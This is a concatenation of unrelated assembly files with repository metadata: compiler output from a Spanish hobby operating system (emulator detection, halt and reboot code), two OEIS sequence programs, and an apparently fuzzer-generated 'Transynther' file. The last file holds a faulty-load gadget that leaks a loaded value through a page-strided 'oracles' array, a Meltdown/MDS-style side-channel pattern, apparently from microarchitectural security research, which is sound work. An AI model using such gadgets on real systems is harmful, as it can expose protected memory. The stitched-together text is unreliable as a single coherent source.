goToXYVideo ()8 " ; Fused expression: "( 0 , 1 , goToXYVideo )8 " push dword 0 push dword 1 db 0x9A section .relot dd L87 section .text L87: dd _goToXYVideo sub sp, -8 ; switch ; RPN'ized expression: "( modoSO1 ) " ; Expanded expression: " modoSO1 ()0 " ; Fused expression: "( modoSO1 )0 " db 0x9A section .relot dd L90 section .text L90: dd _modoSO1 jmp L89 ; { ; case ; RPN'ized expression: "modoSO1_Bin " ; Expanded expression: "0 " ; Expression value: 0 L91: section .rodata L92: db " so1h.bin" times 1 db 0 section .text ; RPN'ized expression: "( L92 printStrVideo ) " ; Expanded expression: " L92 printStrVideo ()4 " ; Fused expression: "( L92 , printStrVideo )4 " section .relod dd L93 section .text db 0x66, 0x68 L93: dd L92 db 0x9A section .relot dd L94 section .text L94: dd _printStrVideo sub sp, -4 ; break jmp L88 ; case ; RPN'ized expression: "modoSO1_Exe " ; Expanded expression: "1 " ; Expression value: 1 L95: section .rodata L96: db " so1h.exe" times 1 db 0 section .text ; RPN'ized expression: "( L96 printStrVideo ) " ; Expanded expression: " L96 printStrVideo ()4 " ; Fused expression: "( L96 , printStrVideo )4 " section .relod dd L97 section .text db 0x66, 0x68 L97: dd L96 db 0x9A section .relot dd L98 section .text L98: dd _printStrVideo sub sp, -4 ; break jmp L88 ; } jmp L88 L89: cmp eax, 0 je L91 cmp eax, 1 je L95 L88: section .rodata L99: db " " times 1 db 0 section .text ; RPN'ized expression: "( L99 printStrVideo ) " ; Expanded expression: " L99 printStrVideo ()4 " ; Fused expression: "( L99 , printStrVideo )4 " section .relod dd L100 section .text db 0x66, 0x68 L100: dd L99 db 0x9A section .relot dd L101 section .text L101: dd _printStrVideo sub sp, -4 section .rodata L102: db "MSDOS" times 1 db 0 section .text ; loc <something> : int ; RPN'ized expression: "( loQueHay 1 & (something103) , L102 ponerMuescaX ) " ; Expanded expression: " (@8) *(2) 1 & L102 ponerMuescaX ()8 " ; Fused expression: "( & *(@8) 1 , L102 , ponerMuescaX )8 " mov ax, [bp+8] movzx eax, ax and eax, 1 push eax section .relod dd L104 section .text db 0x66, 0x68 L104: dd L102 db 0x9A section .relot dd L105 section .text L105: dd _ponerMuescaX sub sp, -8 section .rodata L106: db "WinNT" times 1 db 0 section .text ; loc <something> : int ; RPN'ized expression: "( loQueHay 2 & (something107) , L106 ponerMuescaX ) " ; Expanded expression: " (@8) *(2) 2 & L106 ponerMuescaX ()8 " ; Fused expression: "( & *(@8) 2 , L106 , ponerMuescaX )8 " mov ax, [bp+8] movzx eax, ax and eax, 2 push eax section .relod dd L108 section .text db 0x66, 0x68 L108: dd L106 db 0x9A section .relot dd L109 section .text L109: dd _ponerMuescaX sub sp, -8 ; switch ; RPN'ized expression: "loQueHay 65532 & " ; Expanded expression: "(@8) *(2) 65532 & " ; Fused expression: "& *(@8) 65532 " mov ax, [bp+8] movzx eax, ax and eax, 65532 jmp L111 ; { ; case ; RPN'ized expression: "4 " ; Expanded expression: "4 " ; Expression value: 4 L112: section .rodata L113: db "Qemu" times 1 db 0 section .text ; RPN'ized expression: "( TRUE , L113 ponerMuescaX ) " ; Expanded expression: " 1 L113 ponerMuescaX ()8 " ; Fused expression: "( 1 , L113 , ponerMuescaX )8 " push dword 1 section .relod dd L114 section .text db 0x66, 0x68 L114: dd L113 db 0x9A section .relot dd L115 section .text L115: dd _ponerMuescaX sub sp, -8 ; break jmp L110 ; case ; RPN'ized expression: "8 " ; Expanded expression: "8 " ; Expression value: 8 L116: section .rodata L117: db "Bochs" times 1 db 0 section .text ; RPN'ized expression: "( TRUE , L117 ponerMuescaX ) " ; Expanded expression: " 1 L117 ponerMuescaX ()8 " ; Fused expression: "( 1 , L117 , ponerMuescaX )8 " push dword 1 section .relod dd L118 section .text db 0x66, 0x68 L118: dd L117 db 0x9A section .relot dd L119 section .text L119: dd _ponerMuescaX sub sp, -8 ; break jmp L110 ; case ; RPN'ized expression: "16 " ; Expanded expression: "16 " ; Expression value: 16 L120: section .rodata L121: db "DOSBox" times 1 db 0 section .text ; RPN'ized expression: "( TRUE , L121 ponerMuescaX ) " ; Expanded expression: " 1 L121 ponerMuescaX ()8 " ; Fused expression: "( 1 , L121 , ponerMuescaX )8 " push dword 1 section .relod dd L122 section .text db 0x66, 0x68 L122: dd L121 db 0x9A section .relot dd L123 section .text L123: dd _ponerMuescaX sub sp, -8 ; break jmp L110 ; case ; RPN'ized expression: "32 " ; Expanded expression: "32 " ; Expression value: 32 L124: section .rodata L125: db "NTVDM" times 1 db 0 section .text ; RPN'ized expression: "( TRUE , L125 ponerMuescaX ) " ; Expanded expression: " 1 L125 ponerMuescaX ()8 " ; Fused expression: "( 1 , L125 , ponerMuescaX )8 " push dword 1 section .relod dd L126 section .text db 0x66, 0x68 L126: dd L125 db 0x9A section .relot dd L127 section .text L127: dd _ponerMuescaX sub sp, -8 ; break jmp L110 ; case ; RPN'ized expression: "64 " ; Expanded expression: "64 " ; Expression value: 64 L128: section .rodata L129: db "Fake86" times 1 db 0 section .text ; RPN'ized expression: "( TRUE , L129 ponerMuescaX ) " ; Expanded expression: " 1 L129 ponerMuescaX ()8 " ; Fused expression: "( 1 , L129 , ponerMuescaX )8 " push dword 1 section .relod dd L130 section .text db 0x66, 0x68 L130: dd L129 db 0x9A section .relot dd L131 section .text L131: dd _ponerMuescaX sub sp, -8 ; break jmp L110 ; case ; RPN'ized expression: "128 " ; Expanded expression: "128 " ; Expression value: 128 L132: section .rodata L133: db "VDos" times 1 db 0 section .text ; RPN'ized expression: "( TRUE , L133 ponerMuescaX ) " ; Expanded expression: " 1 L133 ponerMuescaX ()8 " ; Fused expression: "( 1 , L133 , ponerMuescaX )8 " push dword 1 section .relod dd L134 section .text db 0x66, 0x68 L134: dd L133 db 0x9A section .relot dd L135 section .text L135: dd _ponerMuescaX sub sp, -8 ; break jmp L110 ; case ; RPN'ized expression: "256 " ; Expanded expression: "256 " ; Expression value: 256 L136: section .rodata L137: db "msdos" times 1 db 0 section .text ; RPN'ized expression: "( TRUE , L137 ponerMuescaX ) " ; Expanded expression: " 1 L137 ponerMuescaX ()8 " ; Fused expression: "( 1 , L137 , ponerMuescaX )8 " push dword 1 section .relod dd L138 section .text db 0x66, 0x68 L138: dd L137 db 0x9A section .relot dd L139 section .text L139: dd _ponerMuescaX sub sp, -8 ; break jmp L110 ; default L140: section .rodata L141: db 7,"Maquina (virtual) inexplorada " times 1 db 0 section .text ; RPN'ized expression: "( L141 printStrVideo ) " ; Expanded expression: " L141 printStrVideo ()4 " ; Fused expression: "( L141 , printStrVideo )4 " section .relod dd L142 section .text db 0x66, 0x68 L142: dd L141 db 0x9A section .relot dd L143 section .text L143: dd _printStrVideo sub sp, -4 ; } jmp L110 L111: cmp eax, 4 je L112 cmp eax, 8 je L116 cmp eax, 16 je L120 cmp eax, 32 je L124 cmp eax, 64 je L128 cmp eax, 128 je L132 cmp eax, 256 je L136 jmp L140 L110: ; RPN'ized expression: "( printLnVideo ) " ; Expanded expression: " printLnVideo ()0 " ; Fused expression: "( printLnVideo )0 " db 0x9A section .relot dd L144 section .text L144: dd _printLnVideo L84: db 0x66 leave retf L145: section .fxnsz dd L145 - _mostrarLoQueHay ; glb tirarS0 : ( ; prm loQueHay : unsigned short ; ) void section .text global _tirarS0 _tirarS0: push ebp movzx ebp, sp ;sub sp, 0 ; loc loQueHay : (@8): unsigned short ; if ; RPN'ized expression: "( modoSO1 ) modoSO1_Exe == " ; Expanded expression: " modoSO1 ()0 1 == " ; Fused expression: "( modoSO1 )0 == ax 1 IF! " db 0x9A section .relot dd L150 section .text L150: dd _modoSO1 cmp eax, 1 jne L148 ; { ; RPN'ized expression: "( restaurarPantallaInicial ) " ; Expanded expression: " restaurarPantallaInicial ()0 " ; Fused expression: "( restaurarPantallaInicial )0 " db 0x9A section .relot dd L151 section .text L151: dd _restaurarPantallaInicial ; RPN'ized expression: "( 1 setCursorVisibilidad ) " ; Expanded expression: " 1 setCursorVisibilidad ()4 " ; Fused expression: "( 1 , setCursorVisibilidad )4 " push dword 1 db 0x9A section .relot dd L152 section .text L152: dd _setCursorVisibilidad sub sp, -4 ; RPN'ized expression: "( 0 finProgDOS ) " ; Expanded expression: " 0 finProgDOS ()4 " ; Fused expression: "( 0 , finProgDOS )4 " push dword 0 db 0x9A section .relot dd L153 section .text L153: dd _finProgDOS sub sp, -4 ; } jmp L149 L148: ; else ; if ; RPN'ized expression: "loQueHay 16 128 | & " ; Expanded expression: "(@8) *(2) 144 & " ; Fused expression: "& *(@8) 144 " mov ax, [bp+8] movzx eax, ax and eax, 144 ; JumpIfZero test eax, eax je L154 ; { ; RPN'ized expression: "( 12 printCarVideo ) " ; Expanded expression: " 12 printCarVideo ()4 " ; Fused expression: "( 12 , printCarVideo )4 " push dword 12 db 0x9A section .relot dd L156 section .text L156: dd _printCarVideo sub sp, -4 ; RPN'ized expression: "( 14 , 11 goToXYVideo ) " ; Expanded expression: " 14 11 goToXYVideo ()8 " ; Fused expression: "( 14 , 11 , goToXYVideo )8 " push dword 14 push dword 11 db 0x9A section .relot dd L157 section .text L157: dd _goToXYVideo sub sp, -8 ; RPN'ized expression: "( ocultaCursorBIOS ) " ; Expanded expression: " ocultaCursorBIOS ()0 " ; Fused expression: "( ocultaCursorBIOS )0 " db 0x9A section .relot dd L158 section .text L158: dd _ocultaCursorBIOS section .rodata L159: db " puede apagar la maquina virtual DOSBox (Ctrl+F9) o VDos" times 1 db 0 section .text ; RPN'ized expression: "( L159 printStrVideo ) " ; Expanded expression: " L159 printStrVideo ()4 " ; Fused expression: "( L159 , printStrVideo )4 " section .relod dd L160 section .text db 0x66, 0x68 L160: dd L159 db 0x9A section .relot dd L161 section .text L161: dd _printStrVideo sub sp, -4 cli hlt ; } jmp L155 L154: ; else ; { ; RPN'ized expression: "( 0 scrollBIOS ) " ; Expanded expression: " 0 scrollBIOS ()4 " ; Fused expression: "( 0 , scrollBIOS )4 " push dword 0 db 0x9A section .relot dd L162 section .text L162: dd _scrollBIOS sub sp, -4 ; RPN'ized expression: "( 1 , 1 goToXYBIOS ) " ; Expanded expression: " 1 1 goToXYBIOS ()8 " ; Fused expression: "( 1 , 1 , goToXYBIOS )8 " push dword 1 push dword 1 db 0x9A section .relot dd L163 section .text L163: dd _goToXYBIOS sub sp, -8 ; RPN'ized expression: "( ocultaCursorBIOS ) " ; Expanded expression: " ocultaCursorBIOS ()0 " ; Fused expression: "( ocultaCursorBIOS )0 " db 0x9A section .relot dd L164 section .text L164: dd _ocultaCursorBIOS ; { int 19h ; } ; } L155: L149: L146: db 0x66 leave retf L165: section .fxnsz dd L165 - _tirarS0 extern _modoSO1 extern _hayWindowsNT extern _assert extern _printHexVideo extern _leerScancode extern _finProgDOS extern _rebootLegacy extern _ptrFechaBios extern _printLnVideo extern _printStrVideo extern _printCarVideo extern _printLDecVideo extern _goToXYVideo extern _restaurarPantallaInicial extern _setCursorVisibilidad extern _ocultaCursorBIOS extern _scrollBIOS extern _goToXYBIOS ; Syntax/declaration table/stack: ; Bytes used: 7910/40960 ; Macro table: ; Macro __SMALLER_C__ = `0x0100` ; Macro __SMALLER_C_32__ = `` ; Macro __HUGE__ = `` ; Macro __SMALLER_C_SCHAR__ = `` ; Bytes used: 74/5120 ; Identifier table: ; Ident __floatsisf ; Ident __floatunsisf ; Ident __fixsfsi ; Ident __fixunssfsi ; Ident __addsf3 ; Ident __subsf3 ; Ident __negsf2 ; Ident __mulsf3 ; Ident __divsf3 ; Ident __lesf2 ; Ident __gesf2 ; Ident intptr_t ; Ident uintptr_t ; Ident intmax_t ; Ident uintmax_t ; Ident int8_t ; Ident int_least8_t ; Ident int_fast8_t ; Ident uint8_t ; Ident uint_least8_t ; Ident uint_fast8_t ; Ident int16_t ; Ident int_least16_t ; Ident int_fast16_t ; Ident uint16_t ; Ident uint_least16_t ; Ident uint_fast16_t ; Ident int32_t ; Ident int_least32_t ; Ident int_fast32_t ; Ident uint32_t ; Ident uint_least32_t ; Ident uint_fast32_t ; Ident <something> ; Ident quot ; Ident rem ; Ident imaxdiv_t ; Ident FALSE ; Ident TRUE ; Ident bool_t ; Ident pointer_t ; Ident funcion_t ; Ident manejador_t ; Ident rti_t ; Ident isr_t ; Ident handler_t ; Ident retardarThread_t ; Ident ptrTVI_t ; Ident modoSO1_Bin ; Ident modoSO1_Exe ; Ident modoSO1_Bs ; Ident modoSO1_t ; Ident lo ; Ident hi ; Ident lh_t ; Ident offset ; Ident segment ; Ident address_t ; Ident ptr ; Ident adr ; Ident uPtrAdr_t ; Ident pid_t ; Ident tid_t ; Ident uid_t ; Ident gid_t ; Ident pindx_t ; Ident tindx_t ; Ident df_t ; Ident dfs_t ; Ident rindx_t ; Ident startBin ; Ident modoSO1 ; Ident unidadBIOS ; Ident CS_SO1H ; Ident RO_SO1H ; Ident DS_SO1H ; Ident BSS_SO1H ; Ident SS_SO1H ; Ident SS_Kernel ; Ident IMRInicial ; Ident obtenerMapa ; Ident HWLIST_t ; Ident KBDFLAGS_t ; Ident KBDSTATUS_t ; Ident VIDEOCONTROL_t ; Ident DRECSTATUS_t ; Ident DMOTORSTATUS_t ; Ident FDOPSTATUS_t ; Ident VIDEOSWITCHES_t ; Ident VGAOPTIONS_t ; Ident VIDEO_paramtbl ; Ident VIDEO_dynsavearea ; Ident VIDEO_text_charset ; Ident VIDEO_graph_charset ; Ident VIDEO_savetbl2 ; Ident VIDEOSAVETBL_t ; Ident VPARAM_width ; Ident VPARAM_height ; Ident VPARAM_hchar ; Ident VPARAM_pagesize ; Ident VPARAM_SEQC ; Ident VPARAM_MISC ; Ident VPARAM_CRTC ; Ident VPARAM_ATC ; Ident VPARAM_GRC ; Ident VIDEOPARAM_t ; Ident IVT ; Ident COM_base ; Ident LPT_base ; Ident XBDA_seg ; Ident HW_list ; Ident relleno1 ; Ident basemem_K ; Ident relleno2 ; Ident KBD_flags ; Ident relleno3 ; Ident KBD_bufhead ; Ident KBD_buftail ; Ident KBD_buffer ; Ident dRecStatus ; Ident dMotorStatus ; Ident motorShutoffCounter ; Ident fdOpStatus ; Ident relleno4 ; Ident VIDEO_mode ; Ident VIDEO_width ; Ident VIDEO_pagesize ; Ident VIDEO_pageoff ; Ident CURSOR_pos ; Ident CURSOR_shape ; Ident VIDEO_pagActiva ; Ident CRTC_base ; Ident CRT_MODE ; Ident CRT_PALETTE ; Ident relleno5 ; Ident BIOS_timer ; Ident BIOS_overflow ; Ident BIOS_ctrlbreak ; Ident BIOS_POSTreset ; Ident relleno6 ; Ident BIOS_HD_cnt ; Ident relleno7 ; Ident LPT_timeout ; Ident BIOS_4B_flags ; Ident COM_timeout ; Ident KBD_start ; Ident KBD_end1 ; Ident VIDEO_lastrow ; Ident VIDEO_hchar ; Ident VIDEO_control ; Ident VIDEO_switches ; Ident VGA_options ; Ident VGA_DCC_index ; Ident relleno8 ; Ident KBD_status ; Ident TIMER_waitflag ; Ident TIMER_waitmks ; Ident TIMER_active ; Ident relleno9 ; Ident VIDEO_ptrtable ; Ident relleno10 ; Ident IAC ; Ident BIOSAREA_t ; Ident ptrBiosArea ; Ident ptrFechaBios ; Ident salvarPantallaInicial ; Ident restaurarPantallaInicial ; Ident finProgDOS ; Ident error ; Ident ffblk ; Ident ff_reserved ; Ident ff_attrib ; Ident ff_ftime ; Ident ff_fdate ; Ident ff_fsize ; Ident ff_name ; Ident hayMSDOS ; Ident hayDOSBox ; Ident hayWindowsNT ; Ident segPSP ; Ident versionMSDOS ; Ident entornoMSDOS ; Ident valorMSDOS ; Ident str ; Ident argcMSDOS ; Ident getArgvMSDOS ; Ident n ; Ident openDOS ; Ident nombre ; Ident modo ; Ident extendedOpenDOS ; Ident atr ; Ident accion ; Ident closeDOS ; Ident df ; Ident commitFileDOS ; Ident createDOS ; Ident atributo ; Ident readDOS ; Ident buf ; Ident writeDOS ; Ident lseekDOS ; Ident pos ; Ident whence ; Ident getdiskDOS ; Ident setdiskDOS ; Ident drive ; Ident getcurdirDOS ; Ident direc ; Ident chdirDOS ; Ident path ; Ident findfirstDOS ; Ident pathname ; Ident attrib ; Ident findnextDOS ; Ident tipoOrdenador ; Ident rebootLegacy ; Ident tipoTeclado ; Ident leerTeclaBIOS ; Ident leerTeclaExtBIOS ; Ident teclaListaBIOS ; Ident leerTeclaListaBDA ; Ident teclaListaBDA ; Ident printCarBIOS ; Ident car ; Ident printCarPagBIOS ; Ident pag ; Ident printCarAtrPagBIOS ; Ident printLnBIOS ; Ident printStrBIOS ; Ident printStrHastaBIOS ; Ident lleno ; Ident printDecBIOS ; Ident num ; Ident l ; Ident printLDecBIOS ; Ident printIntBIOS ; Ident printLIntBIOS ; Ident printHexBIOS ; Ident printLHexBIOS ; Ident printBinBIOS ; Ident printLBinBIOS ; Ident printPtrBIOS ; Ident printByteBIOS ; Ident b ; Ident printWordBIOS ; Ident w ; Ident printCadBIOS ; Ident cad ; Ident esperarTicsBIOS ; Ident tics ; Ident modoDeVideo ; Ident establecerModoDeVideo ; Ident paginaActiva ; Ident establecerPaginaActiva ; Ident numPagsVideo ; Ident scrollPagBDA ; Ident numLineas ; Ident scrollPagBIOS ; Ident scrollBIOS ; Ident goToXYPag ; Ident fila ; Ident columna ; Ident goToXYBIOS ; Ident setCursorBIOS ; Ident linea1 ; Ident linea2 ; Ident ocultaCursorBIOS ; Ident readXYPagBIOS ; Ident readXYBIOS ; Ident memBIOS ; Ident enviarBIOS ; Ident recibirBIOS ; Ident hayApmBIOS ; Ident version ; Ident connectApmBIOS ; Ident disconnectApmBIOS ; Ident cpuIdleBIOS ; Ident cpuBusyBIOS ; Ident pos_t ; Ident t ; Ident pantalla_t ; Ident tamPantalla ; Ident numFilas ; Ident pantallazo ; Ident pantalla ; Ident esqSupDeF ; Ident esqSupDeC ; Ident esqInfIzF ; Ident esqInfIzC ; Ident borrarPantalla ; Ident borrarCPantalla ; Ident copiarPantalla ; Ident p1 ; Ident p2 ; Ident copiarCPantalla ; Ident scrollPantalla ; Ident scrollCPantalla ; Ident _NONE ; Ident _MDA ; Ident _CGA ; Ident _EGACOLOR ; Ident _EGAMONO ; Ident _VGACOLOR ; Ident _VGAMONO ; Ident _MCGACOLOR ; Ident _MCGAMONO ; Ident _MDS_GENIUS ; Ident tipoAdaptador_t ; Ident _FONT08 ; Ident _FONT14 ; Ident _FONT15 ; Ident _FONT16 ; Ident fontSize_t ; Ident numColumnas ; Ident ptrPant ; Ident tipoAdaptador ; Ident redimensionable ; Ident fontSize ; Ident visibilidad ; Ident inicBiosCrt ; Ident finBiosCrt ; Ident getFontSize ; Ident getFilas ; Ident comprobarAdaptador ; Ident tipoDeAdaptador ; Ident setCursorVisibilidad ; Ident valorDeVisibilidad ; Ident setFontSize ; Ident size ; Ident set25x80 ; Ident redimensionar ; Ident nFilas ; Ident nCols ; Ident printCarVideo ; Ident printLnVideo ; Ident printStrVideo ; Ident printStrHastaVideo ; Ident printDecVideo ; Ident printLDecVideo ; Ident printIntVideo ; Ident printLIntVideo ; Ident printHexVideo ; Ident printLHexVideo ; Ident printBinVideo ; Ident printLBinVideo ; Ident printPtrVideo ; Ident printByteVideo ; Ident printWordVideo ; Ident printCadVideo ; Ident puntoDeParadaSO1 ; Ident leerScancodeListo ; Ident leerScancode ; Ident mirarLoQueHay ; Ident loQueHay ; Ident mostrarLoQueHay ; Ident tirarS0 ; Ident fechaCompactada ; Ident ptrFecha ; Ident ponerMuescaX ; Ident nombreSistema ; Ident hayEseSistema ; Bytes used: 4345/16384 ; Next label number: 166 ; Compilation succeeded.
19.832413
106
0.659907
ca1a76ece71742b963623f20201d25b42547af63
324
asm
Assembly
programs/oeis/112/A112690.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/112/A112690.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/112/A112690.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A112690: Expansion of 1/(1+x^2-x^3-x^5). ; 0,1,0,-1,1,1,-1,0,1,0,0,0,0,1,0,-1,1,1,-1,0,1,0,0,0,0,1,0,-1,1,1,-1,0,1,0,0,0,0,1,0,-1,1,1,-1,0,1,0,0,0,0,1,0,-1,1,1,-1,0,1,0,0,0,0,1,0,-1,1,1,-1,0,1,0,0,0,0,1,0,-1,1,1,-1,0,1,0,0,0,0,1,0,-1,1,1,-1,0,1,0,0,0,0,1,0,-1 add $0,2 bin $0,2 div $0,2 lpb $0,1 sub $0,3 lpe mov $1,$0
29.454545
218
0.490741
63a07cab1a4cc5066e2465b7cbe890076e721a40
362
asm
Assembly
oeis/162/A162994.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/162/A162994.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/162/A162994.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A162994: The third left hand column of triangle A162990 ; Submitted by Jamie Morken(s3) ; 64,1600,57600,2822400,180633600,14631321600,1463132160000,177038991360000,25493614755840000,4308420893736960000,844450495172444160000,190001361413799936000000 add $0,3 mov $1,$0 add $0,1 lpb $1 mul $0,$1 sub $1,1 lpe div $0,2 pow $0,2 mul $0,2 div $0,288 mul $0,64
21.294118
160
0.765193
3657715ee7e8124e8adc77d574b51da27a29ff8f
6,843
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1436.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1436.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1436.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r9 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x12731, %rsi lea addresses_UC_ht+0x52e1, %rdi nop cmp %rax, %rax mov $124, %rcx rep movsb nop nop nop nop nop inc %rbx lea addresses_normal_ht+0xd2b1, %rsi lea addresses_A_ht+0x1b631, %rdi nop nop add $55614, %r11 mov $122, %rcx rep movsl dec %rcx lea addresses_WT_ht+0x1931, %rdi nop nop nop nop and %rbp, %rbp movl $0x61626364, (%rdi) nop nop nop and $24740, %rdi lea addresses_WC_ht+0x5be0, %rbp clflush (%rbp) nop nop nop nop xor %rbx, %rbx movw $0x6162, (%rbp) nop nop nop nop nop cmp $49860, %rcx lea addresses_UC_ht+0x1ef3d, %rax dec %r11 mov (%rax), %esi nop nop inc %rbp lea addresses_normal_ht+0xa331, %rax nop nop nop nop add $21719, %r11 movl $0x61626364, (%rax) nop nop nop nop nop sub $38739, %rsi lea addresses_WC_ht+0x1606, %rsi lea addresses_UC_ht+0x11331, %rdi nop nop nop nop nop sub %r9, %r9 mov $44, %rcx rep movsq nop nop nop add $61292, %rbx lea addresses_WT_ht+0x11331, %rcx nop nop nop cmp %rax, %rax vmovups (%rcx), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $1, %xmm7, %rbp and %rbp, %rbp lea addresses_WT_ht+0xb431, %rbp nop nop nop nop xor $43902, %rsi movb (%rbp), %r9b and $44688, %rbx lea addresses_D_ht+0xa6d1, %rdi clflush (%rdi) nop nop cmp $26926, %rax mov $0x6162636465666768, %r9 movq %r9, %xmm5 and $0xffffffffffffffc0, %rdi movaps %xmm5, (%rdi) nop nop inc %rsi lea addresses_D_ht+0x1b331, %rsi lea addresses_D_ht+0xc2d9, %rdi nop nop nop add $614, %rbp mov $65, %rcx rep movsw nop nop nop nop nop xor %rbx, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r9 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r15 push %rbx push %rsi // Faulty Load lea addresses_normal+0x19331, %r15 nop nop nop nop sub %rsi, %rsi movups (%r15), %xmm5 vpextrq $0, %xmm5, %r11 lea oracles, %rsi and $0xff, %r11 shlq $12, %r11 mov (%rsi,%r11,1), %r11 pop %rsi pop %rbx pop %r15 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 3}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 